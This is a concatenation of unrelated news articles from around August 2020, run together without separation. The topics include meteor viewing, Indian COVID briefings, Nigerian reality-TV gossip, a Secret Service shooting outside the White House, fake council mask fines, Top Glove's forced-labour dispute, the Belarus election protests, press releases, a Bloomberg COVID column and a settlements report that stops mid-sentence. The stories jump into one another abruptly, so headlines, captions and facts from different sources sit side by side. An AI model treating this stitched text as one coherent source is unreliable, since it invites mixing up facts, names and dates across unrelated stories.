Meteors can appear in any part of the sky so the more sky you can see the better. Find an area with a clear view of the horizon and away from trees and buildings. Story continues Read more: Huge meteor explodes in the sky above Derby Such shooting stars are formed when pieces break off comets in the heat of the sun. If the debris ends up in Earths atmosphere, it can slam into our atmosphere, creating shooting stars visible from the ground. Watch the latest videos from Yahoo UK Recommended Proposal to change rules for central deputation of IAS officers affects states' administration: Mamata to PM Young India is showing the way: PM Modi on Covid vaccination Azadi Ke Amrit Mahotsav: PM to flag off seven initiatives of Brahma Kumaris Modi holds consultations with CMs of 10 states on COVID19 situation as cases cross 22.6 lakh India oi-Madhuri Adnal New Delhi, Aug 11: PM Narendra Modi held consultations with chief ministers of around 10 states on COVID19 situation. This is the eight round of consultation with the chief ministers, the last being on June 17. Today, the Prime Minister is discussing the Coronavirus situation with the Chief Ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh. PM Modi holds meeting with CMs of six states to review flood situation Meanwhile, India recorded a single-day of 53,601 cases and 871 fatalities on Tuesday taking the total number of infections to 22,68,676 and the death toll to 45,257. Of the total cases, 6,39,929 are active while a whopping 15,83,490 patients have been cured of the deadly infection. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News In terms of percentage, India has 28.21 per cent active cases, 69.80 per cent cured cases and 1.99 per cent deaths, the government informed. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 13:17 [IST] - Fashion designer Toyin Lawani has come for Nengi over her description of Lucy as an amoeba - Lawani claimed that the BBNaija housemate also called her the same name some time ago - The stylist noted that it was the time Nengi was dating her baby daddy PAY ATTENTION: Click See First under the Following tab to see Legit.ng News on your Facebook News Feed! Popular fashion designer Toyin Lawani has taken to her social media page to react to BBNaija's Nengi and Lucy's recent drama in the house. The drama resulted in the women calling each other names. Nengi called Lucy an old woman and amoeba, asking her to act her age. Nengi's name-calling seemed to have gotten to the single mum of two as she recalled a situation between her and the BBNaija housemate some years ago. According to Lawani, she had issues with her ex-lover sometime back and some ugly things were written about her. The mum of two said she wasn't spared by some bloggers who trolled her with what her baby father said. She revealed that she later found out that those things weren't from her ex but his girlfriend. She shared a screenshot of the post online. PAY ATTENTION: Read the best news on Nigeria's #1 news app BBNaija: Toyin Lawani claims Nengi body-shamed her when she was her baby daddy's girlfriend. Source: @tiannahsplaceempire, @nengiofficial Source: Instagram According to Toyin, she and her ex settled the matter behind closed doors because of her child who was involved. While she did not mention BBNaija's Nengi's name, she pointed accusing fingers at her, noting that she used the same words on Lucy on national TV. "... is it not ironic that the same words written on the internet were words used on national tv for everyone to see yesterday on @lucyedetofficial," she wrote. The stylist also revealed that Nengi does not respect her boundaries as she always made videos with her child. Toyin also said that Nengi trolled her for going under the knife and went ahead to do the same thing. "I didnt go on TV to put words in the mouth of the culprit, yet the same person went under the knife to look like me," she said. While she noted that she has forgiven her, she said she would be retaliating with other information she has about her. PAY ATTENTION: Get your daily relationship tips and advice on Africa Love Aid group In other news, Legit.ng earlier reported that Nengi told Ozo that she cannot be with a guy that is too peaceful. In a video circulating online, Ozo laid on the bed while Nengi sat close to him on the edge of the bed and shared why they cannot be together. BBNaija: My boyfriend was not happy with my romance with Eric - Lilo | Legit TV Source: Legit.ng The man shot and injured by a Secret Service officer outside the White House on Monday evening was unarmed, according to law enforcement sources. Myron Berryman, 51, remains in a critical but stable condition in a Washington, D.C. hospital after he was shot in the chest when he allegedly charged towards an officer outside the President's residence claiming to have a gun. The Secret Service say Berryman yelled 'I'm going to kill you. I'm going to shoot you' at agents before he was shot. Despite the alleged threats, no weapon was retrieved from the scene, sources told The Washington Post. . At the time, President Trump was inside the White House Briefing Room conducting a press conference which was being televised nationwide. A Secret Service agent informed the Commander-in-chief of the shooting, and Trump left the room as a security precaution. He returned five minutes later. In a statement released Monday night, the Secret Service stated: 'The suspect ... ran aggressively towards the officer, and in a drawing motion, withdrew an object from his clothing. He then crouched into a shooter's stance as if about to fire a weapon.' The man shot and injured by a Secret Service officer outside the White House on Monday evening was unarmed, sources have told The Washington Post. The corner of 17th Street and Pennsylvania Ave NW is pictured shortly after the incident Video on social media showed a person down at the corner of 17th Street and Pennsylvania Avenue. The man has now been identified as Myron Berryman Law enforcement locked down the White House at the incident; a Secret Service agent stands outside the press briefing room after the shooting In a statement released Monday night, the Secret Service stated: ''The suspect ... ran aggressively towards the officer, and in a drawing motion, withdrew an object from his clothing. He then crouched into a shooter's stance as if about to fire a weapon' Berryman is reported to be a licensed boxer who stands at 6ft 3in. He was charged with resisting arrest and disorderly conduct back in 2012. Berryman's sister gave an interview with The Washington Post on Tuesday, where she spoke on the condition of anonymity. She said she did not believe her brother would hurt anyone. 'They said he had a weapon? He ran toward him? This is crazy. He is a man of God. He would not have a weapon for sure. His weapon is the word of God,' she stated. Berryman's sister believes he may have been encouraging protesters outside the White House, and his actions could have been misconstrued. 'Myron is always encouraging everybody. He has never had anything negative to say. He always encourages people,' the sister said. Police officers stand guard at the corner of 17th Street and Pennsylvania Avenue, after a shooting incident outside the White House Police officers stand guard at the corner of 17th Street and Pennsylvania Avenue, near the White House A Secret Service uniform officer's bike is seen laying on the sidewalk on Pennsylvania Avenue near the White House Law enforcement officials gather following a shooting at 17th Street and Pennsylvania Avenue near the White House The White House complex was not breached during Monday evening's incident, and no Secret Service officers were injured. President Trump later returned to the Briefing Room where addressed the shooting. 'There was a shooting outside of the White House and it seems to be very well under control.' 'Do I seem rattled?,' he asked at one point before thanking his security detail for their quick action. 'I'd like to thank the Secret Service for doing their always quick and very effective work,' he noted. President Trump and his aides being led from the James Brady Briefing Room in the White House President Donald Trump arrives back in the briefing room after being abruptly pulled from it The president said he was surprised by what happened but was not concerned for his personal safety. 'I was surprised,' he said. 'It's pretty unusual but very, very professional people. They do a fantastic job, as you know.' 'The world has been a dangerous place. Very dangerous place and it will continue, I guess, for a period of time. I feel very safe with Secret Service, they are fantastic people. They are the best of the best and they are highly trained,' he added. Secret Service agents screen all reporters and visitors before they enter the White House complex. Additionally, agents lock down the briefing room before the president enters with agents standing at all its entry points. He said he never considered canceling his press briefing. 'I didn't even consider not coming back,' Trump said. 'I asked if I was able to come back, they said to wait a little while.' A U.S. Secret Service police officer stands on the roof of the White House People are impersonating council officials and charging people 10 as fines for not wearing face masks. Residents reported people pretending to be from Knowsley and Sefton Council issuing fines for not wearing face masks in the borough's town centres to Merseyside Council. A group of five scammers wearing hi-vis vests with the council logos on them, with ID badges and body CCTV have been reported. Pictured: A couple wearing face masks as they walk down Regent Street in London. Scammers have been posing as council officers fining people for not wearing masks The scammers are pretending to be from Knowsley and Sefton Council (logo pictured) and are wearing hi-vis vests with the council's logos on them Pictured: Knowsley Council's logo Local authorities, such as council officers, do not have the power to enforce mask-wearing, Knowsley Council told the Liverpool Echo. Only police officers are allowed to take enforcement action when it comes to reinforcing the rules about wearing masks. Trading standards, town centre managers and the CCTV control room are all working together to investigate the scams. Merseyside Police have also said they will be paying extra attention to the area. Residents have been advised to ask for identification before paying fines and to contact the agency someone claims to be from. It became mandatory to wear face coverings in shops and supermarkets on July 23 a month after it was made compulsory for people to wear face masks on public transport. People have to cover their faces in shops, supermarkets and enclosed shopping centres as well as train stations, banks, post offices, building societies, bus stations and airports. People do not have to wear face masks in outside pubs and restaurants, museums, cinemas, theatres, indoor gyms and leisure facilities, spas and beauty salons, hairdressers, galleries, concert and bingo halls. Failure to wear masks could result in a 100 fine but police said they will not be enforcing the law aggressively as ministers hope the public will 'show common sense'. If you are approached by someone you think does not have the power to fine you, please report it to Merseyside Police via 101. Anti-mask protests have increased across the UK rallying for people not to wear the face coverings. StandUp X the group who stormed a London Morrison's yesterday to berate masked shoppers is the fastest growing and as over 16,000 reading its posts and messages. The group has a Facebook page where anti-mask and 5G conspiracy theories are discussed and debated. There are more protests coming up in Liverpool, London and Hull over the next weekend. 2020 Shanghai Book Fair ready to kick off By:An Ranran | From:english.eastday.com | 2020-08-07 17:35 2020 Shanghai Book Fair, themed at Love Reading, Love Life, will be held at the Shanghai Exhibition Center from Aug 12-18. Due to the epidemic, this years fair will ensure safety of visitors through a series of protective measures. Xinhua Media, in charge of theme pavilions of the fair, will set up a sanitation station with various types of precaution. During the book fair, visitors will have to register with their real names and identity cards. Before they enter the venue, they need show their health codes and get their temperatures checked. Jiangli, deputy general manager of Xinhua Media, said that in case of any health emergency, there are medical staffs on the site. For the impact of the epidemic, the book fair will hold various online events, in cooperation with the media, livestreaming platforms and podcast apps, for people who cant come to the spot. Offline events are scheduled to broadcast live on the online platform. Over 150 new books from publishers all over the country will have their debuts online and about 100 guests are expected to share their recommended list of reading. Furthermore, a variety of publishers are coming to the fair, bringing latest books and best sellers. Shanghai Century Publishing Group, a publication giant, will introduce nearly 10,000 books to the public and organize around 300 reading activities both offline and online, with more than 500 authors invited to share their experience in writing. As SHINE reported, tickets for the book fair have already been on sale from Thursday at 12 Xinhua Bookstore outlets across the city and e-tickets will be available online from Friday. Bearing in mind the restrictions on the number of people, the number of tickers will also be limited. For security reasons, there will be no paper tickets sold on the site and residents can only buy tickets online or book tickets in advance. It seems as if Meghan, Duchess of Sussex and Prince Harry make headlines just about every day. Ever since they entered into a serious relationship, the couple has been taking all sorts of backlash from the tabloids as well as various people around the world. They have been pretty adamant about wanting their privacy, and the unfortunate fact is that they have yet to get that. In a short time span, Prince Harry and Meghan have moved from London to Windsor before spending some time in Canada and finally taking up residence in Meghans hometown of LA, California. Despite the fact they have, on more than one occasion, asked for the media to back off and give them the space that they deserve, it hasnt exactly worked out that way. Even so, Prince Harry and Meghan are going strong, and this is reflected in the humanitarian work that they continue to do. Here is how Meghan empowers Prince Harry to live his best and true life. A whirlwind romance and a happy marriage Meghan Markle | Max Mumby/Indigo/Getty Images RELATED: Prince Harry Felt Unsupported By His Family and the Monarchy, Says Source Not too long ago, Prince Harry was known as the worlds most eligible bachelor. He had a few serious girlfriends over the years, but even so, it didnt appear as if the prince would be walking down the aisle anytime soon. All of that changed, however, when he was introduced to an American actress Meghan on a blind date. According to Town & Country magazine, Prince Harry and Meghan of them knew pretty quickly that they were about to embark upon something truly special. The couple fell in love quickly and before long, Meghan was sporting an absolutely gorgeous engagement ring on her finger. A few months later, they got married in a lavish ceremony in Windsor, England, and officially became the Duke and Duchess of Sussex. After the wedding, Meghan and Prince Harry resumed living at Nottingham Cottage on the grounds of Kensington Palace, where they were expected to stay. Everyone was surprised when they left for Windsor in order to escape the spotlight. From there, they announced that they would be stepping down from royal duties. Leaving the worlds most famous family Just about anyone would jump at the chance to be a member of the royal family, but for Meghan and Prince Harry, it was anything but a fairytale. The couples royal exit was announced early in 2020, and to say that fans were shocked is quite an understatement. More than anything, the duke and duchess just want privacy for themselves and their young son, Archie, and they knew that continuing as senior royals wouldnt allow them to have that. The Sun reports that even some members of the royal family were upset about them leaving, although Prince Harrys grandmother, Queen Elizabeth, gave the couple her best wishes. Now, Meghan and Harry are no longer entitled to use their HRH titles, and they have begun a new chapter of life in California. Still, they find themselves constantly in the spotlight as people jump to conclusions about the royal split. Meghan Markle empowers Prince Harry to live his best and true life Even though Meghan and Prince Harry still find themselves as the subject of headline news regarding their royal exit, it is now being said that Meghan empowers Prince Harry to live his best and true life. How so? Well, according to People, even with all the drama surrounding the couple and the new biography about them, they are still a couple who supports each other. The new book by Omid Scobie and Carolyn Durand reveals how Prince Harry reportedly had been looking to leave the family long before meeting Meghan, and that she simply fit into the plans. While the British media often blamed royal wives, in Harrys case, he was very much on board with distancing himself from the public eye, write the authors. Its why he gravitated to the military, avoided the pomp as much as he could, and didnt give his child a title. According to the author, Meghan emboldened Harry. What has struck me is Harrys commitment to put his royal birthright aside and use his voice to make a difference, said Durand. In Meghan he found a partner in that. Scobie further revealed: Meghan emboldened Harry. He needed someone by his side that is strong enough to weather the same storms, but also someone who wasnt afraid of breaking the rules and going against the norm. What we see now is a couple doing things their own way. Looks like Meghan and Prince Harry are stronger than fans and critics ever thought and that they know exactly what they want and how to go about doing it. The worlds largest rubber-glove maker, which is based in Malaysia, announced that it has begun compensating migrant workers in response to a U.S. import ban on its products over forced labor claims amid the coronavirus pandemic. The Malaysian firm Top Glove Sdn Bhd said it had paid 4.4 million ringgit (U.S. $1 million dollars) of 53 million ringgit ($12.6 million) in remediation fees, subject to finalization with the U.S. Customs and Border Protection agency as part of efforts to resolve the issue. The agency last month announced a so-called Withhold Release Order (WRO) against Top Glove and its subsidiary, TG Medical Sdn Bhd, which operate 40 plants in Malaysia, four in Thailand and one in China. In Washington, a spokesperson for the U.S. customs agency said late Monday it could not provide a timeline for a resolution of the issue, adding that Top Glove had submitted an initial petition and was asked for more information. CBP is not able to specify a timeline for resolving the identified forced labor concerns. CBP will not modify or revoke a Withhold Release Order until it receives proof that establishes the admissibility of the affected merchandise, the spokesperson said in an email response to BenarNews. The WRO, which went into effect on July 15, did not affect personal protection equipment gloves manufactured by Top Glove in Thailand. At the time, company officials responded that the order was linked to migrant workers being forced to pay fees to recruiters without the companys knowledge. The officials said the practice ended in January 2019 when it began paying those fees. The total remediation fee to be paid is estimated at 53 million ringgit ($12.6 million) subject to finalization with the U.S. CBP, Top Glove said in a statement posted on its website Monday. At the same time, Top Glove continues to actively engage with the U.S. CBP [Customs and Border Protection] toward resolving the WRO expeditiously. After announcing the import block last month, U.S. customs officials said they had evidence of forced labor including debt bondage, excessive overtime, retention of identification documents and abusive working and living conditions. Imported goods produced with forced labor present significant risks for consumers and corporate, government, and military supply chains, ranging from health and safety issues to intellectual property rights violations and national security risks, the CBP spokesperson said at the time. The next day, July 17, BenarNews asked CPB officials for more detailed information about the allegations against Top Glove, including where the forced labor had occurred, but they gave a broad answer. CBP has a statutory responsibility to prevent goods made in whole or in part with forced labor from entering U.S. commerce, according to an excerpt of the agencys response then to follow-up questions. When investigating allegations of forced labor, CBP collects information from a wide array of sources, including government agencies, non-government organizations, and media reporting. CBP thoroughly evaluates this information for International Labor Organization indicators of forced labor, which include abusive living and working conditions that workers would never freely accept, the agency said. Top Glove officials, meanwhile, vowed to have a resolution within two weeks, and followed up with a news release on July 30 saying that it was involved in cordial and constructive dialogue with CBP. We have made good progress and look forward to arriving at an agreement on remediation within the month of August 2020, upon which we plan to commence remediation payment immediately. This will enable us to continue delivering our gloves especially to first respondents whose safety and lives are on the line during this critical time, company officials said. As the COVID-19 pandemic continues, Top Glove has begun making face masks and plans to manufacture medical gowns and sanitizers, Reuters news service reported, adding that the company was seeking to export the masks in a couple of months. Managing Director Lee Kim Meow told Reuters on Tuesday that his company was looking to be a one-stop infection control center. Ministry: No violation involving forced labor About a week after the July 15 announcement by the U.S. customs agency, the Malaysian government said it found no elements of forced labor as claimed in the Work Release Order, according to a press statement from the Ministry of Human Resources. The investigation was conducted at Top Glove headquarters in Meru, Klang on July 13. The company was found flouting the rules under the recovery MCO [movement control order], such as no social distancing between workers at the workplace and crowded accommodation for workers, the ministry said in the statement dated July 21. Nevertheless, there was no violation involving forced labor that was found. The ministry said investigators had found no evidence of excessive overtime or that workers passports were held by the company. It also said it was aware the WRO would affect the countrys image internationally and could influence foreign investors. The government is committed and will not compromise when it comes to addressing the issue of forced labor in the country, it said. Another Malaysian rubber glove manufacturer, WRP Asia Pacific Sdn Bhd, was subject to its own WRO over forced labor concerns in September 2019. The order was lifted in March after the company addressed U.S. concerns, according to the website of the customs agency. That same month, Malaysias glove manufacturers appealed to their government to exempt them from a nationwide COVID-19 lockdown, warning there could be a chronic shortage amid surging demand. The Malaysian Rubber Gloves Manufacturers Association issued a statement at the time, claiming that its members were expected to deliver 225 billion medical gloves or about 65 percent of the worlds requirement of 330 billion this year. The main challenger in Belarus's disputed presidential election said Tuesday she made a "difficult decision" to leave the country, after a second night of street clashes between police and opposition supporters left a protester dead. Svetlana Tikhanovskaya, who claimed victory over authoritarian President Alexander Lukashenko in Sunday's vote, said she had left out of concern for her children. Lithuania said she was "safe" after going to the neighbouring country. "I have made a very difficult decision," a distressed-looking Tikhanovskaya said in a short video. "Children are the most important thing we have in life," said the 37-year-old, whose five-year-old daughter and 10-year-old son had earlier been taken out of the country for their safety. Tikhanovskaya decided to run for president after the authorities jailed her husband, popular blogger Sergei Tikhanovsky, and barred him from contesting the election. He remains in prison in Belarus. "I know that many will understand me, many will judge me, and many will begin to hate me," Tikhanovskaya said. "But God forbid anyone face the choice I had." Belarusian state media released a second video where Tikhanovskaya urged supporters not to protest or break the law, apparently reading from a script. Maria Kolesnikova, one of Tikhanovskaya's campaign partners, said "we think this video was recorded under pressure from law enforcement authorities." The political novice, who has energised Belarus's opposition, disappeared on Monday night after spending hours at the central electoral commission. The Belarusian border guard service posted a video it said showed her crossing the frontier in a car at around 3:30 am (00:30 GMT) Tuesday. Lithuanian Foreign Minister Linas Linkevicius told AFP Tikhanovskaya had arrived in the EU member country and "is safe". EU and NATO member Lithuania, which like Belarus was once part of the Soviet Union, has a history of granting refuge to Belarusian and Russian opposition figures. Story continues Tikhanovskaya went missing as thousands protested on the streets of the capital Minsk, after Belarus declared long-serving leader Lukashenko had secured a sixth term with 80 percent of the vote. Tikhanovskaya came second with 10 percent according to the official count but protesters are backing her claim to have won the election. - 'We will not stop' - For the second night in a row, police used rubber bullets, stun grenades and tear gas to disperse demonstrations, though protesters fought back with stones and fireworks and built makeshift barricades, AFP reporters, protesters and witnesses said. The interior ministry said it detained more than 2,000 people. The editor of a leading independent newspaper, Nasha Niva, was among those detained, the Belarusian association of journalists said. The chaotic scenes of defiance with protesters fighting back against police in full riot gear were highly unusual in the authoritarian country. "Our goal is to overthrow the Lukashenko regime," Yakov, a 51-year-old engineer, told AFP in Minsk. He said Tikhanovskaya's departure would not stop protesters. "That Tikhanovskaya has left for Lithuania is even better, she is safe there." Yan, a 28-year-old paramedic, added: "We will not stop despite police brutality. We are fighting for our right to live in a free country." Lukashenko's opponents also called for strikes, though independent trade unions said they would not compel members to take part. Dozens of people have been injured in the violence and the first fatality was confirmed on Monday when police said a man died after an explosive device went off in his hand. The health ministry said more than 200 protesters were in hospital with wounds including chest and head injuries. - 'Intimidation of opposition' - Tikhanovskaya's campaign galvanised the opposition, presenting the strongest challenge yet to former collective farm director Lukashenko, who has ruled Belarus since 1994, brooking no dissent and earning the nickname of "Europe's last dictator". Western governments have condemned the police crackdown, with some in the European Union suggesting it may reimpose sanctions on Lukashenko's regime that were lifted several years ago. German Foreign Minister Heiko Maas said the EU could do this "very quickly". The White House said it was "deeply concerned" by the violence. Polish Foreign Minister Jacek Czaputowicz said Warsaw was "ready to act as a mediator" between Lukashenko and the opposition after calling for an emergency EU summit. Lukashenko was defiant on Monday, vowing he would not allow Belarus to be "torn apart" and suggesting protesters were foreign pawns. "We recorded calls from abroad. There were calls from Poland, Britain and the Czech Republic, they were directing our -- forgive me -- sheep," he said. bur-am/mm/tgb NEW YORK and TEL-AVIV, Israel, Aug. 11, 2020 /PRNewswire/ -- Dynamic Infrastructure's AI-based, SaaS decision-making system was successfully implemented on the first 13 bridges, culverts and sign-bridges out of the 1600 assets inventory. The program, led by Hilla Haddad Chmelnik, Chief Strategy and Innovation Officer of Netivei Israel, aims to utilize existing capabilities by making better decisions when managing its asset maintenance expenditure out of $1.5B annual budget. Dynamic Infrastructure Netiviei - Dynamic Infrastructure to deliver its bridge-maintenance decision-support system Dynamic Infrastructure's SaaS product, which continuously processes past and current inspection reports, identified future maintenance risks and evolving defects. Saar Dickman, Dynamic Infrastructure's CEO said, "Counties and districts which face challenging budget issues can now benefit from a broad scope of capabilities that in the past were only available to larger agencies. Just by analyzing the visuals in past and current inspection reports, our cloud-based service provides clear and immediate actionable maintenance insights." Hilla Haddad Chmelnik, Chief Strategy and Innovation Officer, "We know that we can do much more with the information we collected in our existing bridge management system, potentially, saving millions. Dynamic Infrastructure is a great example of harnessing new technology for the benefit of such potential savings." About Netivei Israel Netivei Israel - The National Transport Infrastructure Company Ltd. is a Government Company Responsible for the Planning, Development, and Maintenance of Israel's Interurban Road Network and the Development of Railways Network in Israel. Netivei Israel manage 8,500 kilometers of roads, 105 interchanges, 2,200 intersections, and 1,300 bridges and tunnels. About Dynamic Infrastructure Dynamic Infrastructure harnesses the power of AI to disrupt the operation and maintenance (O&M) of critical transportation assets. Founded by industry professionals with decades of O&M experience working with PPPs and DOTs, Dynamic Infrastructure has become an industry leader and key driver of a data revolution in decision-making processes related to bridge and tunnel operation and maintenance(O&M). Headquartered in New York, NY, with offices in Germany and Israel, Dynamic Infrastructure maintains a close relationship with its clients and government institutions. Media Contact: PR Dynamic Infrastructure www.diglobal.tech [email protected] Tel: +1(646) 233-1481 SOURCE Dynamic Infrastructure Oldham has overtaken nearby Blackburn to become the worst-hit area for coronavirus in England, new government figures show. The surge in cases comes despite the Greater Manchester town being included in the so-called northern lockdown, with households there banned from mixing. Some 145 new Covid-19 infections were identified in the borough in the seven days up to the weekend, according to Public Health England - the equivalent of 61 cases per 100,000 people. That places Oldham above both Leicester and Blackburn with Darwen, which had previously been the areas of greatest concern - but which have both now managed to bring their rates down. The second hardest-hit place is Pendle, in Lancashire, with a weekly rise of 58.6 cases per 100,000 people. Blackburn with Darwen is now in third with 43 cases per 100,000. The new figures also show three new places have been added to the national watchlist: Swindon, Preston and Bedford. Swindon has become a cause of concern after an apparent outbreak at a Tesco supermarket over the weekend with a number of staff there testing positive for the deadly bug. Preston was added after restrictions were tightened in the city on Friday following a surge of cases there. And Bedford was placed on the watchlist after new infections soared to 22.7 per 100,000 people. In more positive news, Rotherham followed South Yorkshire neighbour Sheffield in being removed from the at-risk register after a drop in cases there. PORTLAND, Ore., Aug. 10, 2020 /PRNewswire/ -- In celebration of National Health Center Week, Neighborhood Health Center (NHC) is hosting a drive-thru nurse clinic for high-risk patients on Wednesday, Aug. 12, at the nonprofit's Oregon City Medical Clinic. "This drive-thru event is a way for us to provide an in-person visit to our high-risk patients who are especially at risk of exposure to COVID and may not be comfortable stepping into a clinic," said Jeri Weeks, NHC's chief executive officer. Clinic staff is reaching out to adult patients with one or more comorbidity who have not had a visit recently and may feel they need to be seen by a nurse to schedule them for this drive-thru clinic. Patients will have access to health maintenance services, including A1C testing, blood pressure, glucose, dental screening and fluoride treatment. For patients with prescription needs, there will be a pharmacist at the clinic available to answer questions. As part of its National Health Center Week celebrations, NHC will also host a free virtual workshop the following day sponsored by CareOregon and Kaiser Permanente on the health benefits of eating local. Nutrition and community health experts from NHC, Zenger Farm, and the Multnomah County Health Department will share information to help families find and enjoy local, fresh food. Produce cards valued at $40 will be provided to 50 of the virtual workshop attendees to redeem at MilkRun. National Health Center Week (Aug. 9-15) is an annual celebration aimed at raising awareness about the mission and accomplishments of America's health centers over the past five decades. Media Availability (Interview and Photo Opportunity) WHAT: Drive-thru Nurse Clinic WHERE: Neighborhood Health Center Oregon City Medical Clinic 728 Molalla Avenue, Oregon City, OR 97045 WHEN: Wednesday, Aug. 13, 2020 8 a.m.-5 p.m. PDT Note: Media are invited to attend but are asked to wear a face-covering and follow social distancing guidelines. Neighborhood Health Center (NHC) is a non-profit community health center that serves a federally designated Medically Underserved Population (MUP) in a federally designated Health Professional Shortage Area (HPSA). As a Federally Qualified Health Center (FQHC), NHC is governed by a dedicated, patient-majority Board of Directors committed to the mission of building healthy communities one neighbor at a time through patient-centered health care, regardless of income or current state of wellness. Learn more: https://www.nhcoregon.org/. Contact: Penny L. Moore Phone: 503-941-3054 Email: [email protected] SOURCE Neighborhood Health Center Related Links https://www.nhcoregon.org You are the owner of this article. (Bloomberg Opinion) -- The U.S. has reached a landmark of sorts in its so far not very successful battle with the virus that causes Covid-19. Most Americans now know someone who has been infected. This is according to tracking surveys conducted by Navigator Research, a polling project with ties to various left-leaning groups. Given what we know about the spread of the disease from other sources, it sounds about right. Although it is sad news, it may also mark something of a positive turning point. More than anything else, the key to keeping Covid-19 under control seems to be taking it seriously, and knowing someone with the disease can do a lot to focus a person on the risks it poses. That it had to come to this is of course tragic. A key enabler of the spread of the coronavirus, especially in affluent countries with the resources to stop it, has been an inability to imagine that what happened somewhere else might happen closer to home. Italians saw what transpired in China, and failed to act on the early signs that they might be next. New Yorkers saw what was going on Italy and the mayor and governor concluded that, well, this isnt Italy. Political leaders in the U.K. saw what was going on in Continental Europe and New York and seemed to think their compatriots could just tough it out, before belatedly changing course. Within countries, though, an outbreak in one region usually did translate into rapid changes in behavior everywhere else. This was true at first even in the sprawling, polarized U.S., where the actions of some on-the-ball state and local officials, President Donald Trumps sudden (and, it turns out, temporary) conversion from coronavirus doubter to grudging supporter of tough measures to stop it and a sort of generalized public freak-out together kept the epidemic from going national in the spring. This success didnt last. One reason was of course the impatience of the president, who after his own coronavirus task force issued a reasonable set of recommendations for safely reopening the country, promptly goaded states to ignore them. Given that much of the U.S. had barely been touched by the disease, though, it was always going to be a struggle to persuade people outside of hard-hit areas to take it seriously and stick with practices like social distancing or mask-wearing for long. This is proving to be the case elsewhere as well the northeastern Spanish region of Aragon, which saw only modest spread of Covid-19 in March and April, is now the epicenter of a summer resurgence. But its especially true in the U.S., which has been beset for a while now by an epidemic of distrust and disinformation that seemingly makes it really hard for people in, say, suburban Tulsa to imagine themselves in the shoes of New Yorkers (and vice versa!). Story continues In April, I got into extended email discussions with a couple of readers from outside New York who said they didnt know anyone with Covid-19 and were clearly dubious of my assertions that I did. Allegations that the disease was a sinister hoax or nearly harmless coursed through social media. Even in the mainstream media and academic research, the deadliness of New Yorks epidemic was often ascribed to conditions unique to the big city (such as density and heavy reliance on public transportation) or to the nursing-home policies of Governor Andrew Cuomo. Some things about New Yorks Covid experience clearly were unique, and the outbreaks cropping up all over the Sun Belt this summer have generally been slower moving and (so far) less deadly. But theyve also been much more widespread to the point that most Americans now know someone who has or has had Covid-19. Almost all Americans, meanwhile, now live in communities where substantial numbers of people have been infected with the coronavirus, meaning theyre increasingly likely to hear about the disease from local news sources that they trust more than national outlets. State and local politicians are of course affected by these changing realities, too, making previously reluctant ones more likely to endorse measures to slow the diseases spread. But the changes in individual attitudes seem to be at least as important as the government mandates. Heres a chart of restaurant traffic in Arizona since the state began allowing indoor dining again on May 11. The number of new confirmed coronavirus cases started to rise sharply in Arizona in late May. By late June, the states outbreak appeared to be spiraling out of control, with more than 3,000 new cases a day and the percentage of tests coming back positive blowing past 20%. On June 29, Governor Doug Ducey closed bars, gyms and theaters and strongly urged (but did not mandate) the wearing of face masks, and on July 9, he restricted indoor dining at restaurants to 50% of capacity. But as the chart makes clear, behavior had begun changing well before then, as Arizonans saw reports of rising case loads on the local news and learned of friends who had contracted the disease. In the process, they began to slow the epidemic: The number of new cases reported peaked on July 1, meaning that new infections likely peaked a week or more before that. There are still too many infections and too high a positive-test percentage to say things are under control, but they are headed in the right direction, for now at least. The big Covid-19 outbreaks in Florida and Texas appear to have peaked, too, but those states have not yet seen as big a decline in cases as Arizona. That may be in part because their populations are dispersed over many metropolitan areas and media markets, meaning that the local cycle of learning to take Covid seriously has to happen over and over again. Two-thirds of Arizonas population resides in and around Phoenix, making the process a lot simpler. I realize this isnt the only possible explanation for current trends in coronavirus data. Hundreds of thousands of Arizonans (possibly more than a million) have now recovered from and are for the time being most likely immune to Covid-19, and this is surely helping to slow the diseases spread. But the fact that local outbreaks around the world have subsided at very different infection rates (as measured by subsequent antibody surveys) points to behavior changes and public policy being in most cases the more important drivers. Covid-19 is usually not fatal, and may be getting less so over time. Its not unstoppable either. But when people think that it doesnt exist, or isnt coming anywhere near them, or is practically harmless, or is going away soon, it has a nasty way of becoming a big, big problem. Weve now reached a point where most Americans have a personal link to the disease, which makes such denial a lot harder. That may turn out to be some good bad news. This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Justin Fox is a Bloomberg Opinion columnist covering business. He was the editorial director of Harvard Business Review and wrote for Time, Fortune and American Banker. He is the author of The Myth of the Rational Market. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Israels illegal Jewish settlements have had a major strategic and political purpose from the onset. Despite claims to reclaim the God-given land for the Jewish people, Israeli settlements are said to prevent the creation of a contiguous independent Palestinian state. The latest Israeli push to revive the E1 settlement plans in East Jerusalem has that precise aim. Israeli Prime Minister Benjamin Netanyahu, who appears to be pushing for a fourth Israeli election within less than two years, appears to be eyeing the area that could connect the large Maale Adumim settlement with West Jerusalem. Having failed to get the green light from Washington for unilateral annexation of Palestinian lands in the West Bank, Netanyahu appears to be intent on satisfying right-wingers in Israel by launching the controversial settlement to the east of East Jerusalem, which would physically destroy any remote chance of a two-state solution that would include a contiguous Palestinian state. The PLOs National Bureau for Defending Land and Resisting Settlements stated in its weekly report Aug. 10 that the Israeli government is moving forward in its pursuit to build thousands of settlement units on the lands of al-Tur, Anata, al-Eizariya and Abu Dis villages in the E1 area, within the greater Jerusalem settlement project. [This] would completely close the eastern area of Jerusalem and encircle the Anata, Al-Tur, and Hizmas areas. The settlement project would link all settlements in the eastern region and beyond the boundaries of the Israeli Occupation Jerusalem Municipality with other settlement[s] in the so-called Moshe Laion municipality. Thus, it turns Arab villages into besieged ones, as well as annexing wide areas of lands in the West Bank to the borders of Jerusalem, the report stated. The Israeli move quickly produced an important diplomatic response. The European Union (EU) along with 15 European countries submitted Aug. 6 a letter to the Foreign Ministry protesting the advancement of new homes in Givat Hamatos in the E1 area. The European action represents a renewal of their opposition to the Israeli plans to advance construction plans in areas of Jerusalem beyond the Green Line. By issuing a strong-worded demarche to the Israeli Foreign Ministry their second letter on the matter since May the Europeans made it clear that settlement activity will not be tolerated. Settlements are illegal under International Humanitarian Law. Any further settlement construction in this strategically sensitive area will have a devastating impact on a contiguous Palestinian State, as well as severely undermining the possibility of a negotiated two-state solution in line with internationally agreed to parameters, the demarche stated. The 15 countries that signed the 